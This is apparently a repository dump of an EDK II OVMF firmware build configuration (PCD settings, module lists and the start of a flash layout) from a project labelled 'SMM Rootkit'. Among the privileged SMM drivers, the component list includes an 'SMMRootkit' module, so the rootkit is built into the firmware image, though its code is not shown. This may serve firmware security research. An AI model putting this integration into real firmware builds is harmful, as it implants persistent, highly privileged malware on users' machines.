  gEfiMdeModulePkgTokenSpaceGuid.PcdVpdBaseAddress|0x0

  gEfiMdePkgTokenSpaceGuid.PcdReportStatusCodePropertyMask|0x07

  # DEBUG_INIT      0x00000001  // Initialization
  # DEBUG_WARN      0x00000002  // Warnings
  # DEBUG_LOAD      0x00000004  // Load events
  # DEBUG_FS        0x00000008  // EFI File system
  # DEBUG_POOL      0x00000010  // Alloc & Free (pool)
  # DEBUG_PAGE      0x00000020  // Alloc & Free (page)
  # DEBUG_INFO      0x00000040  // Informational debug messages
  # DEBUG_DISPATCH  0x00000080  // PEI/DXE/SMM Dispatchers
  # DEBUG_VARIABLE  0x00000100  // Variable
  # DEBUG_BM        0x00000400  // Boot Manager
  # DEBUG_BLKIO     0x00001000  // BlkIo Driver
  # DEBUG_NET       0x00004000  // SNP Driver
  # DEBUG_UNDI      0x00010000  // UNDI Driver
  # DEBUG_LOADFILE  0x00020000  // LoadFile
  # DEBUG_EVENT     0x00080000  // Event messages
  # DEBUG_GCD       0x00100000  // Global Coherency Database changes
  # DEBUG_CACHE     0x00200000  // Memory range cachability changes
  # DEBUG_VERBOSE   0x00400000  // Detailed debug messages that may
  #                             // significantly impact boot performance
  # DEBUG_ERROR     0x80000000  // Error
  gEfiMdePkgTokenSpaceGuid.PcdDebugPrintErrorLevel|0x8000004F

!ifdef $(SOURCE_DEBUG_ENABLE)
  gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0x17
!else
  gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0x2F
!endif

  # This PCD is used to set the base address of the PCI express hierarchy. It
  # is only consulted when OVMF runs on Q35. In that case it is programmed into
  # the PCIEXBAR register.
  #
  # On Q35 machine types that QEMU intends to support in the long term, QEMU
  # never lets the RAM below 4 GB exceed 2 GB.
  gEfiMdePkgTokenSpaceGuid.PcdPciExpressBaseAddress|0x80000000

!ifdef $(SOURCE_DEBUG_ENABLE)
  gEfiSourceLevelDebugPkgTokenSpaceGuid.PcdDebugLoadImageMethod|0x2
!endif

!if $(HTTP_BOOT_ENABLE) == TRUE
  gEfiNetworkPkgTokenSpaceGuid.PcdAllowHttpConnections|TRUE
!endif

!ifndef $(USE_OLD_SHELL)
  gEfiIntelFrameworkModulePkgTokenSpaceGuid.PcdShellFile|{ 0x83, 0xA5, 0x04, 0x7C, 0x3E, 0x9E, 0x1C, 0x4F, 0xAD, 0x65, 0xE0, 0x52, 0x68, 0xD0, 0xB4, 0xD1 }
!endif

!if $(SMM_REQUIRE) == TRUE
  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStackSize|0x4000
!endif

  # IRQs 5, 9, 10, 11 are level-triggered
  gPcAtChipsetPkgTokenSpaceGuid.Pcd8259LegacyModeEdgeLevel|0x0E20

  # Point to the MdeModulePkg/Application/UiApp/UiApp.inf
  gEfiMdeModulePkgTokenSpaceGuid.PcdBootManagerMenuFile|{ 0x21, 0xaa, 0x2c, 0x46, 0x14, 0x76, 0x03, 0x45, 0x83, 0x6e, 0x8a, 0xb6, 0xf4, 0x66, 0x23, 0x31 }

################################################################################
#
# Pcd Dynamic Section - list of all EDK II PCD Entries defined by this Platform
#
################################################################################

[PcdsDynamicDefault]
  # only set when
  #   ($(SMM_REQUIRE) == FALSE)
  gEfiMdeModulePkgTokenSpaceGuid.PcdEmuVariableNvStoreReserved|0

  gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageVariableBase64|0
  gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageFtwWorkingBase|0
  gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageFtwSpareBase|0
  gEfiMdeModulePkgTokenSpaceGuid.PcdPciDisableBusEnumeration|FALSE
  gEfiMdeModulePkgTokenSpaceGuid.PcdVideoHorizontalResolution|800
  gEfiMdeModulePkgTokenSpaceGuid.PcdVideoVerticalResolution|600
  gEfiMdeModulePkgTokenSpaceGuid.PcdAcpiS3Enable|FALSE
  gUefiOvmfPkgTokenSpaceGuid.PcdOvmfHostBridgePciDevId|0
  gUefiOvmfPkgTokenSpaceGuid.PcdPciIoBase|0x0
  gUefiOvmfPkgTokenSpaceGuid.PcdPciIoSize|0x0
  gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio32Base|0x0
  gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio32Size|0x0
  gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio64Base|0x0
  gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio64Size|0x800000000

  gEfiMdePkgTokenSpaceGuid.PcdPlatformBootTimeOut|0

  # Set video resolution for text setup.
  gEfiMdeModulePkgTokenSpaceGuid.PcdSetupVideoHorizontalResolution|640
  gEfiMdeModulePkgTokenSpaceGuid.PcdSetupVideoVerticalResolution|480

  gEfiMdeModulePkgTokenSpaceGuid.PcdSmbiosVersion|0x0208
  gEfiMdeModulePkgTokenSpaceGuid.PcdSmbiosDocRev|0x0
  gUefiOvmfPkgTokenSpaceGuid.PcdQemuSmbiosValidated|FALSE

  # Noexec settings for DXE.
  gEfiMdeModulePkgTokenSpaceGuid.PcdSetNxForStack|FALSE
  gEfiMdeModulePkgTokenSpaceGuid.PcdPropertiesTableEnable|FALSE

  # UefiCpuPkg PCDs related to initial AP bringup and general AP management.
  gUefiCpuPkgTokenSpaceGuid.PcdCpuMaxLogicalProcessorNumber|64
  gUefiCpuPkgTokenSpaceGuid.PcdCpuApInitTimeOutInMicroSeconds|50000

  # Set memory encryption mask
  gEfiMdeModulePkgTokenSpaceGuid.PcdPteMemoryEncryptionAddressOrMask|0x0

!if $(SMM_REQUIRE) == TRUE
  gUefiOvmfPkgTokenSpaceGuid.PcdQ35TsegMbytes|8
  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmSyncMode|0x01
  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmApSyncTimeout|100000
!endif

  gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00

################################################################################
#
# Components Section - list of all EDK II Modules needed by this Platform.
#
################################################################################
[Components]
  OvmfPkg/ResetVector/ResetVector.inf

  #
  # SEC Phase modules
  #
  OvmfPkg/Sec/SecMain.inf {
    <LibraryClasses>
      NULL|MdeModulePkg/Library/LzmaCustomDecompressLib/LzmaCustomDecompressLib.inf
  }

  #
  # PEI Phase modules
  #
  MdeModulePkg/Core/Pei/PeiMain.inf
  MdeModulePkg/Universal/PCD/Pei/Pcd.inf  {
    <LibraryClasses>
      PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
  }
  MdeModulePkg/Universal/ReportStatusCodeRouter/Pei/ReportStatusCodeRouterPei.inf {
    <LibraryClasses>
      PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
  }
  MdeModulePkg/Universal/StatusCodeHandler/Pei/StatusCodeHandlerPei.inf {
    <LibraryClasses>
      PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
  }
  MdeModulePkg/Core/DxeIplPeim/DxeIpl.inf

  OvmfPkg/PlatformPei/PlatformPei.inf
  UefiCpuPkg/Universal/Acpi/S3Resume2Pei/S3Resume2Pei.inf {
    <LibraryClasses>
!if $(SMM_REQUIRE) == TRUE
      LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxPeiLib.inf
!endif
  }
!if $(SMM_REQUIRE) == TRUE
  OvmfPkg/SmmAccess/SmmAccessPei.inf
!endif
  UefiCpuPkg/CpuMpPei/CpuMpPei.inf

  #
  # DXE Phase modules
  #
  MdeModulePkg/Core/Dxe/DxeMain.inf {
    <LibraryClasses>
      NULL|MdeModulePkg/Library/LzmaCustomDecompressLib/LzmaCustomDecompressLib.inf
      DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf
  }

  MdeModulePkg/Universal/ReportStatusCodeRouter/RuntimeDxe/ReportStatusCodeRouterRuntimeDxe.inf
  MdeModulePkg/Universal/StatusCodeHandler/RuntimeDxe/StatusCodeHandlerRuntimeDxe.inf
  MdeModulePkg/Universal/PCD/Dxe/Pcd.inf  {
   <LibraryClasses>
      PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
  }

  MdeModulePkg/Core/RuntimeDxe/RuntimeDxe.inf

!if $(SECURE_BOOT_ENABLE) == TRUE
  MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf {
    <LibraryClasses>
      NULL|SecurityPkg/Library/DxeImageVerificationLib/DxeImageVerificationLib.inf
  }
!else
  MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf
!endif

  MdeModulePkg/Universal/EbcDxe/EbcDxe.inf
  PcAtChipsetPkg/8259InterruptControllerDxe/8259.inf
  UefiCpuPkg/CpuIo2Dxe/CpuIo2Dxe.inf
  UefiCpuPkg/CpuDxe/CpuDxe.inf
  PcAtChipsetPkg/8254TimerDxe/8254Timer.inf
  OvmfPkg/IncompatiblePciDeviceSupportDxe/IncompatiblePciDeviceSupport.inf
  OvmfPkg/PciHotPlugInitDxe/PciHotPlugInit.inf
  MdeModulePkg/Bus/Pci/PciHostBridgeDxe/PciHostBridgeDxe.inf {
    <LibraryClasses>
      PciHostBridgeLib|OvmfPkg/Library/PciHostBridgeLib/PciHostBridgeLib.inf
      NULL|OvmfPkg/Library/PlatformHasIoMmuLib/PlatformHasIoMmuLib.inf
  }
  MdeModulePkg/Bus/Pci/PciBusDxe/PciBusDxe.inf {
    <LibraryClasses>
      PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
  }
  MdeModulePkg/Universal/ResetSystemRuntimeDxe/ResetSystemRuntimeDxe.inf
  MdeModulePkg/Universal/Metronome/Metronome.inf
  PcAtChipsetPkg/PcatRealTimeClockRuntimeDxe/PcatRealTimeClockRuntimeDxe.inf
  MdeModulePkg/Universal/DriverHealthManagerDxe/DriverHealthManagerDxe.inf
  MdeModulePkg/Universal/BdsDxe/BdsDxe.inf {
    <LibraryClasses>
!ifdef $(CSM_ENABLE)
      NULL|OvmfPkg/Csm/CsmSupportLib/CsmSupportLib.inf
      NULL|IntelFrameworkModulePkg/Library/LegacyBootManagerLib/LegacyBootManagerLib.inf
!endif
  }
  MdeModulePkg/Logo/LogoDxe.inf
  MdeModulePkg/Application/UiApp/UiApp.inf {
    <LibraryClasses>
      NULL|MdeModulePkg/Library/DeviceManagerUiLib/DeviceManagerUiLib.inf
      NULL|MdeModulePkg/Library/BootManagerUiLib/BootManagerUiLib.inf
      NULL|MdeModulePkg/Library/BootMaintenanceManagerUiLib/BootMaintenanceManagerUiLib.inf
!ifdef $(CSM_ENABLE)
      NULL|IntelFrameworkModulePkg/Library/LegacyBootManagerLib/LegacyBootManagerLib.inf
      NULL|IntelFrameworkModulePkg/Library/LegacyBootMaintUiLib/LegacyBootMaintUiLib.inf
!endif
  }
  OvmfPkg/BlockMmioToBlockIoDxe/BlockIo.inf
  OvmfPkg/VirtioPciDeviceDxe/VirtioPciDeviceDxe.inf
  OvmfPkg/Virtio10Dxe/Virtio10.inf
  OvmfPkg/VirtioBlkDxe/VirtioBlk.inf
  OvmfPkg/VirtioScsiDxe/VirtioScsi.inf
  OvmfPkg/VirtioRngDxe/VirtioRng.inf
  OvmfPkg/XenIoPciDxe/XenIoPciDxe.inf
  OvmfPkg/XenBusDxe/XenBusDxe.inf
  OvmfPkg/XenPvBlkDxe/XenPvBlkDxe.inf
  MdeModulePkg/Universal/WatchdogTimerDxe/WatchdogTimer.inf
  MdeModulePkg/Universal/MonotonicCounterRuntimeDxe/MonotonicCounterRuntimeDxe.inf
  MdeModulePkg/Universal/CapsuleRuntimeDxe/CapsuleRuntimeDxe.inf
  MdeModulePkg/Universal/Console/ConPlatformDxe/ConPlatformDxe.inf
  MdeModulePkg/Universal/Console/ConSplitterDxe/ConSplitterDxe.inf
  MdeModulePkg/Universal/Console/GraphicsConsoleDxe/GraphicsConsoleDxe.inf {
    <LibraryClasses>
      PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
  }
  MdeModulePkg/Universal/Console/TerminalDxe/TerminalDxe.inf
  MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf {
    <LibraryClasses>
      DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf
      PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
  }
  MdeModulePkg/Universal/PrintDxe/PrintDxe.inf
  MdeModulePkg/Universal/Disk/DiskIoDxe/DiskIoDxe.inf
  MdeModulePkg/Universal/Disk/PartitionDxe/PartitionDxe.inf
  MdeModulePkg/Universal/Disk/RamDiskDxe/RamDiskDxe.inf
  MdeModulePkg/Universal/Disk/UnicodeCollation/EnglishDxe/EnglishDxe.inf
  FatPkg/EnhancedFatDxe/Fat.inf
  MdeModulePkg/Bus/Scsi/ScsiBusDxe/ScsiBusDxe.inf
  MdeModulePkg/Bus/Scsi/ScsiDiskDxe/ScsiDiskDxe.inf
  OvmfPkg/SataControllerDxe/SataControllerDxe.inf
  MdeModulePkg/Bus/Ata/AtaAtapiPassThru/AtaAtapiPassThru.inf
  MdeModulePkg/Bus/Ata/AtaBusDxe/AtaBusDxe.inf
  MdeModulePkg/Bus/Pci/NvmExpressDxe/NvmExpressDxe.inf
  MdeModulePkg/Universal/HiiDatabaseDxe/HiiDatabaseDxe.inf
  MdeModulePkg/Universal/SetupBrowserDxe/SetupBrowserDxe.inf
  MdeModulePkg/Universal/DisplayEngineDxe/DisplayEngineDxe.inf
  MdeModulePkg/Universal/MemoryTest/NullMemoryTestDxe/NullMemoryTestDxe.inf

  OvmfPkg/QemuVideoDxe/QemuVideoDxe.inf
  OvmfPkg/VirtioGpuDxe/VirtioGpu.inf

  #
  # ISA Support
  #
  PcAtChipsetPkg/IsaAcpiDxe/IsaAcpi.inf
  IntelFrameworkModulePkg/Bus/Isa/IsaBusDxe/IsaBusDxe.inf
  IntelFrameworkModulePkg/Bus/Isa/IsaSerialDxe/IsaSerialDxe.inf
  IntelFrameworkModulePkg/Bus/Isa/Ps2KeyboardDxe/Ps2keyboardDxe.inf
  IntelFrameworkModulePkg/Bus/Isa/IsaFloppyDxe/IsaFloppyDxe.inf

  #
  # SMBIOS Support
  #
  MdeModulePkg/Universal/SmbiosDxe/SmbiosDxe.inf {
    <LibraryClasses>
      NULL|OvmfPkg/Library/SmbiosVersionLib/DetectSmbiosVersionLib.inf
  }
  OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.inf

  #
  # ACPI Support
  #
  MdeModulePkg/Universal/Acpi/AcpiTableDxe/AcpiTableDxe.inf
  OvmfPkg/AcpiPlatformDxe/AcpiPlatformDxe.inf
  OvmfPkg/AcpiTables/AcpiTables.inf
  MdeModulePkg/Universal/Acpi/S3SaveStateDxe/S3SaveStateDxe.inf
  MdeModulePkg/Universal/Acpi/BootScriptExecutorDxe/BootScriptExecutorDxe.inf
  MdeModulePkg/Universal/Acpi/BootGraphicsResourceTableDxe/BootGraphicsResourceTableDxe.inf

  #
  # Network Support
  #
  MdeModulePkg/Universal/Network/SnpDxe/SnpDxe.inf
  MdeModulePkg/Universal/Network/DpcDxe/DpcDxe.inf
  MdeModulePkg/Universal/Network/MnpDxe/MnpDxe.inf
  MdeModulePkg/Universal/Network/VlanConfigDxe/VlanConfigDxe.inf
  MdeModulePkg/Universal/Network/ArpDxe/ArpDxe.inf
  MdeModulePkg/Universal/Network/Dhcp4Dxe/Dhcp4Dxe.inf
  MdeModulePkg/Universal/Network/Ip4Dxe/Ip4Dxe.inf
  MdeModulePkg/Universal/Network/Mtftp4Dxe/Mtftp4Dxe.inf
  MdeModulePkg/Universal/Network/Udp4Dxe/Udp4Dxe.inf
!if $(NETWORK_IP6_ENABLE) == TRUE
  NetworkPkg/Ip6Dxe/Ip6Dxe.inf
  NetworkPkg/TcpDxe/TcpDxe.inf
  NetworkPkg/Udp6Dxe/Udp6Dxe.inf
  NetworkPkg/Dhcp6Dxe/Dhcp6Dxe.inf
  NetworkPkg/Mtftp6Dxe/Mtftp6Dxe.inf
  NetworkPkg/UefiPxeBcDxe/UefiPxeBcDxe.inf
  NetworkPkg/IScsiDxe/IScsiDxe.inf
!else
  MdeModulePkg/Universal/Network/Tcp4Dxe/Tcp4Dxe.inf
  MdeModulePkg/Universal/Network/UefiPxeBcDxe/UefiPxeBcDxe.inf
  MdeModulePkg/Universal/Network/IScsiDxe/IScsiDxe.inf
!endif
!if $(HTTP_BOOT_ENABLE) == TRUE
  NetworkPkg/DnsDxe/DnsDxe.inf
  NetworkPkg/HttpUtilitiesDxe/HttpUtilitiesDxe.inf
  NetworkPkg/HttpDxe/HttpDxe.inf
  NetworkPkg/HttpBootDxe/HttpBootDxe.inf
!endif
!if $(TLS_ENABLE) == TRUE
  NetworkPkg/TlsDxe/TlsDxe.inf
  NetworkPkg/TlsAuthConfigDxe/TlsAuthConfigDxe.inf
!endif
  OvmfPkg/VirtioNetDxe/VirtioNet.inf

  #
  # Usb Support
  #
  MdeModulePkg/Bus/Pci/UhciDxe/UhciDxe.inf
  MdeModulePkg/Bus/Pci/EhciDxe/EhciDxe.inf
  MdeModulePkg/Bus/Pci/XhciDxe/XhciDxe.inf
  MdeModulePkg/Bus/Usb/UsbBusDxe/UsbBusDxe.inf
  MdeModulePkg/Bus/Usb/UsbKbDxe/UsbKbDxe.inf
  MdeModulePkg/Bus/Usb/UsbMassStorageDxe/UsbMassStorageDxe.inf

!ifdef $(CSM_ENABLE)
  IntelFrameworkModulePkg/Csm/BiosThunk/VideoDxe/VideoDxe.inf {
    <LibraryClasses>
      PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
  }
  IntelFrameworkModulePkg/Csm/LegacyBiosDxe/LegacyBiosDxe.inf
  OvmfPkg/Csm/Csm16/Csm16.inf
!endif

!ifndef $(USE_OLD_SHELL)
  ShellPkg/DynamicCommand/TftpDynamicCommand/TftpDynamicCommand.inf {
    <PcdsFixedAtBuild>
      gEfiShellPkgTokenSpaceGuid.PcdShellLibAutoInitialize|FALSE
  }
  ShellPkg/Application/Shell/Shell.inf {
    <LibraryClasses>
      ShellCommandLib|ShellPkg/Library/UefiShellCommandLib/UefiShellCommandLib.inf
      NULL|ShellPkg/Library/UefiShellLevel2CommandsLib/UefiShellLevel2CommandsLib.inf
      NULL|ShellPkg/Library/UefiShellLevel1CommandsLib/UefiShellLevel1CommandsLib.inf
      NULL|ShellPkg/Library/UefiShellLevel3CommandsLib/UefiShellLevel3CommandsLib.inf
      NULL|ShellPkg/Library/UefiShellDriver1CommandsLib/UefiShellDriver1CommandsLib.inf
      NULL|ShellPkg/Library/UefiShellDebug1CommandsLib/UefiShellDebug1CommandsLib.inf
      NULL|ShellPkg/Library/UefiShellInstall1CommandsLib/UefiShellInstall1CommandsLib.inf
      NULL|ShellPkg/Library/UefiShellNetwork1CommandsLib/UefiShellNetwork1CommandsLib.inf
!if $(NETWORK_IP6_ENABLE) == TRUE
      NULL|ShellPkg/Library/UefiShellNetwork2CommandsLib/UefiShellNetwork2CommandsLib.inf
!endif
      HandleParsingLib|ShellPkg/Library/UefiHandleParsingLib/UefiHandleParsingLib.inf
      PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf
#      SafeBlockIoLib|ShellPkg/Library/SafeBlockIoLib/SafeBlockIoLib.inf
#      SafeOpenProtocolLib|ShellPkg/Library/SafeOpenProtocolLib/SafeOpenProtocolLib.inf
      BcfgCommandLib|ShellPkg/Library/UefiShellBcfgCommandLib/UefiShellBcfgCommandLib.inf

    <PcdsFixedAtBuild>
      gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0xFF
      gEfiShellPkgTokenSpaceGuid.PcdShellLibAutoInitialize|FALSE
      gEfiMdePkgTokenSpaceGuid.PcdUefiLibMaxPrintBufferSize|8000
  }
!endif

!if $(SECURE_BOOT_ENABLE) == TRUE
  SecurityPkg/VariableAuthenticated/SecureBootConfigDxe/SecureBootConfigDxe.inf
!endif

  OvmfPkg/PlatformDxe/Platform.inf
  OvmfPkg/AmdSevDxe/AmdSevDxe.inf
  OvmfPkg/IoMmuDxe/IoMmuDxe.inf

!if $(SMM_REQUIRE) == TRUE
  OvmfPkg/SmmAccess/SmmAccess2Dxe.inf
  OvmfPkg/SmmControl2Dxe/SmmControl2Dxe.inf
  UefiCpuPkg/CpuS3DataDxe/CpuS3DataDxe.inf

  #
  # SMM Initial Program Load (a DXE_RUNTIME_DRIVER)
  #
  MdeModulePkg/Core/PiSmmCore/PiSmmIpl.inf

  #
  # SMM_CORE
  #
  MdeModulePkg/Core/PiSmmCore/PiSmmCore.inf

  #
  # Privileged drivers (DXE_SMM_DRIVER modules)
  #
  UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf
  MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf {
    <LibraryClasses>
      LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxSmmLib.inf
  }
  UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf {
    <LibraryClasses>
      SmmCpuPlatformHookLib|UefiCpuPkg/Library/SmmCpuPlatformHookLibNull/SmmCpuPlatformHookLibNull.inf
      SmmCpuFeaturesLib|OvmfPkg/Library/SmmCpuFeaturesLib/SmmCpuFeaturesLib.inf
  }

  #
  # Variable driver stack (SMM)
  #
  OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesSmm.inf
  MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteSmm.inf
  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmm.inf {
    <LibraryClasses>
      NULL|MdeModulePkg/Library/VarCheckUefiLib/VarCheckUefiLib.inf
  }
  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmmRuntimeDxe.inf
  SMMRootkit/SMMRootkit.inf {
    <LibraryClasses>
      DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
      MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
  }

!else

  #
  # Variable driver stack (non-SMM)
  #
  OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf
  OvmfPkg/EmuVariableFvbRuntimeDxe/Fvb.inf {
    <LibraryClasses>
      PlatformFvbLib|OvmfPkg/Library/EmuVariableFvbLib/EmuVariableFvbLib.inf
  }
  MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteDxe.inf
  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableRuntimeDxe.inf {
    <LibraryClasses>
      NULL|MdeModulePkg/Library/VarCheckUefiLib/VarCheckUefiLib.inf
  }
!endif


================================================
FILE: SMM Rootkit/OvmfPkg/OvmfPkgX64.fdf
================================================
## @file
#  Open Virtual Machine Firmware: FDF
#
#  Copyright (c) 2006 - 2017, Intel Corporation. All rights reserved.<BR>
#  (C) Copyright 2016 Hewlett Packard Enterprise Development LP<BR>
#
#  This program and the accompanying materials
#  are licensed and made available under the terms and conditions of the BSD License
#  which accompanies this distribution. The full text of the license may be found at
#  http://opensource.org/licenses/bsd-license.php
#
#  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
#  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
#
##

################################################################################

[Defines]
!include OvmfPkg.fdf.inc

#
# Build the variable store and the firmware code as one unified flash device
# image.
#
[FD.OVMF]
BaseAddress   = $(FW_BASE_ADDRESS)
Size          = $(FW_SIZE)
ErasePolarity = 1
BlockSize     = $(BLOCK_SIZE)
NumBlocks     = $(FW_BLOCKS)

!include VarStore.fdf.inc

$(VARS_SIZE)|$(FVMAIN_SIZE)
FV = FVMAIN_COMPACT

$(SECFV_OFFSET)|$(SECFV_SIZE)
FV = SECFV

#
# Build the variable store and the firmware code as separate flash device
# images.
#
[FD.OVMF_VARS]
BaseAddress   = $(FW_BASE_ADDRESS)
Size          = $(VARS_SIZE)
ErasePolarity = 1
BlockSize     = $(BLOCK_SIZE)
NumBlocks     = $(VARS_BLOCKS)

!include VarStore.fdf.inc

[FD.OVMF_CODE]
BaseAddress   = $(CODE_BASE_ADDRESS)
Size          = $(CODE_SIZE)
ErasePolarity = 1
BlockSize     = $(BLOCK_SIZE)
NumBlocks     = $(CODE_BLOCKS)

0x00000000|$(FVMAIN_SIZE)
FV = FVMAIN_COMPACT

$(FVMAIN_SIZE)|$(SECFV_SIZE)
FV = SECFV

################################################################################

[FD.MEMFD]
BaseAddress   = $(MEMFD_BASE_ADDRESS)
Size          = 0xB00000
ErasePolarity = 1
BlockSize     = 0x10000
NumBlocks     = 0xB0

0x000000|0x006000
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPageTablesBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPageTablesSize

0x006000|0x001000
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfLockBoxStorageBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfLockBoxStorageSize

0x007000|0x001000
gEfiMdePkgTokenSpaceGuid.PcdGuidedExtractHandlerTableAddress|gUefiOvmfPkgTokenSpaceGuid.PcdGuidedExtractHandlerTableSize

0x010000|0x010000
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPeiTempRamBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPeiTempRamSize

0x020000|0x0E0000
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvSize
FV = PEIFV

0x100000|0xA00000
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfDxeMemFvBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfDxeMemFvSize
FV = DXEFV

################################################################################

[FV.SECFV]
FvNameGuid         = 763BED0D-DE9F-48F5-81F1-3E90E1B1A015
BlockSize          = 0x1000
FvAlignment        = 16
ERASE_POLARITY     = 1
MEMORY_MAPPED      = TRUE
STICKY_WRITE       = TRUE
LOCK_CAP           = TRUE
LOCK_STATUS        = TRUE
WRITE_DISABLED_CAP = TRUE
WRITE_ENABLED_CAP  = TRUE
WRITE_STATUS       = TRUE
WRITE_LOCK_CAP     = TRUE
WRITE_LOCK_STATUS  = TRUE
READ_DISABLED_CAP  = TRUE
READ_ENABLED_CAP   = TRUE
READ_STATUS        = TRUE
READ_LOCK_CAP      = TRUE
READ_LOCK_STATUS   = TRUE

#
# SEC Phase modules
#
# The code in this FV handles the initial firmware startup, and
# decompresses the PEI and DXE FVs which handles the rest of the boot sequence.
#
INF  OvmfPkg/Sec/SecMain.inf

INF  RuleOverride=RESET_VECTOR OvmfPkg/ResetVector/ResetVector.inf

################################################################################
[FV.PEIFV]
FvNameGuid         = 6938079B-B503-4E3D-9D24-B28337A25806
BlockSize          = 0x10000
FvAlignment        = 16
ERASE_POLARITY     = 1
MEMORY_MAPPED      = TRUE
STICKY_WRITE       = TRUE
LOCK_CAP           = TRUE
LOCK_STATUS        = TRUE
WRITE_DISABLED_CAP = TRUE
WRITE_ENABLED_CAP  = TRUE
WRITE_STATUS       = TRUE
WRITE_LOCK_CAP     = TRUE
WRITE_LOCK_STATUS  = TRUE
READ_DISABLED_CAP  = TRUE
READ_ENABLED_CAP   = TRUE
READ_STATUS        = TRUE
READ_LOCK_CAP      = TRUE
READ_LOCK_STATUS   = TRUE

APRIORI PEI {
  INF  MdeModulePkg/Universal/PCD/Pei/Pcd.inf
}

#
#  PEI Phase modules
#
INF  MdeModulePkg/Core/Pei/PeiMain.inf
INF  MdeModulePkg/Universal/PCD/Pei/Pcd.inf
INF  MdeModulePkg/Universal/ReportStatusCodeRouter/Pei/ReportStatusCodeRouterPei.inf
INF  MdeModulePkg/Universal/StatusCodeHandler/Pei/StatusCodeHandlerPei.inf
INF  OvmfPkg/PlatformPei/PlatformPei.inf
INF  MdeModulePkg/Core/DxeIplPeim/DxeIpl.inf
INF  UefiCpuPkg/Universal/Acpi/S3Resume2Pei/S3Resume2Pei.inf
!if $(SMM_REQUIRE) == TRUE
INF  OvmfPkg/SmmAccess/SmmAccessPei.inf
!endif
INF  UefiCpuPkg/CpuMpPei/CpuMpPei.inf

################################################################################

[FV.DXEFV]
FvForceRebase      = FALSE
FvNameGuid         = 7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1
BlockSize          = 0x10000
FvAlignment        = 16
ERASE_POLARITY     = 1
MEMORY_MAPPED      = TRUE
STICKY_WRITE       = TRUE
LOCK_CAP           = TRUE
LOCK_STATUS        = TRUE
WRITE_DISABLED_CAP = TRUE
WRITE_ENABLED_CAP  = TRUE
WRITE_STATUS       = TRUE
WRITE_LOCK_CAP     = TRUE
WRITE_LOCK_STATUS  = TRUE
READ_DISABLED_CAP  = TRUE
READ_ENABLED_CAP   = TRUE
READ_STATUS        = TRUE
READ_LOCK_CAP      = TRUE
READ_LOCK_STATUS   = TRUE

APRIORI DXE {
  INF  MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf
  INF  MdeModulePkg/Universal/PCD/Dxe/Pcd.inf
  INF  OvmfPkg/AmdSevDxe/AmdSevDxe.inf
!if $(SMM_REQUIRE) == FALSE
  INF  OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf
!endif
}

#
# DXE Phase modules
#
INF  MdeModulePkg/Core/Dxe/DxeMain.inf

INF  MdeModulePkg/Universal/ReportStatusCodeRouter/RuntimeDxe/ReportStatusCodeRouterRuntimeDxe.inf
INF  MdeModulePkg/Universal/StatusCodeHandler/RuntimeDxe/StatusCodeHandlerRuntimeDxe.inf
